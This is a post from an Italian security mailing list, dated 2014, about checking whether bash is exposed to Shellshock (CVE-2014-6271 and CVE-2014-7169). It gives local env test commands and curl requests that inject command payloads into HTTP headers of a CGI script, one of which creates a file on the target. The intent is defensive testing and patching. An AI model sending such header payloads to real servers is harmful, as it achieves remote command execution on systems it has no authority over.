#include <Maurizio Antonelli.h> // created 25/09/2014 11:34
[cut]
>> ... Sto cercando di capire meglio come verificare la vulnerabilità
>> a questo genere di attacchi,
[cut]
Ooops, dimenticavo una parte rilevante della frase: come verificare da
remoto la vulnerabilità :)
> env x='() { :;}; echo vulnerabile' bash -c "echo prova"
Questo è un bun metodo per verificare in locale se la propria versione
di bash è vulnerabile. A quanto ho notato, Debian ha già rilasciato una
versione corretta di bash, invece quella disponibile su ArchLinux
comunque è vulnerabile a un altro tipo di attacco, quello riportato in
CVE-2014-7169 [1], in pratica è comunque possibile scrivere un file:
$ env X='() { (a)=>\' sh -c "echo date"; cat echo
1: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169
A quanto pare in alcuni casi è sufficiente passare un qualsiasi header
fatto ad-hoc per testare la vulnerabilità, ad esempio con un banale:
$ curl -i -X GET "http://www.hostvulnerabile.it/cgi-bin/test.cgi" -A '()
{ :;}; echo "Warning: Server Vulnerable"'
oppure con un classico:
$ curl -i -X GET "http://www.hostvulnerabile.it/cgi-bin/test.cgi" -H
'X-Custom: () { :;}; touch /tmp/vuln; echo "Warning: Server Vulnerable"'
Sto cercando di capire se ad esempio le esecuzioni di php attraverso
mod_fcgid (che si appoggia a un "wrapper" bash per eseguire php stesso)
sono vulnerabili.. ma non riesco (ancora) a venirne a capo. In ogni caso
qualsiasi cosa passi attraverso bash (anche non necessariamente
invocandola direttamente, ad esempio se è configurata come shell di
default) può esporre questo problema.
Per togliermi il dubbio, sto comunque compilando il pacchetto .deb
patchato per lenny ;)
k.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List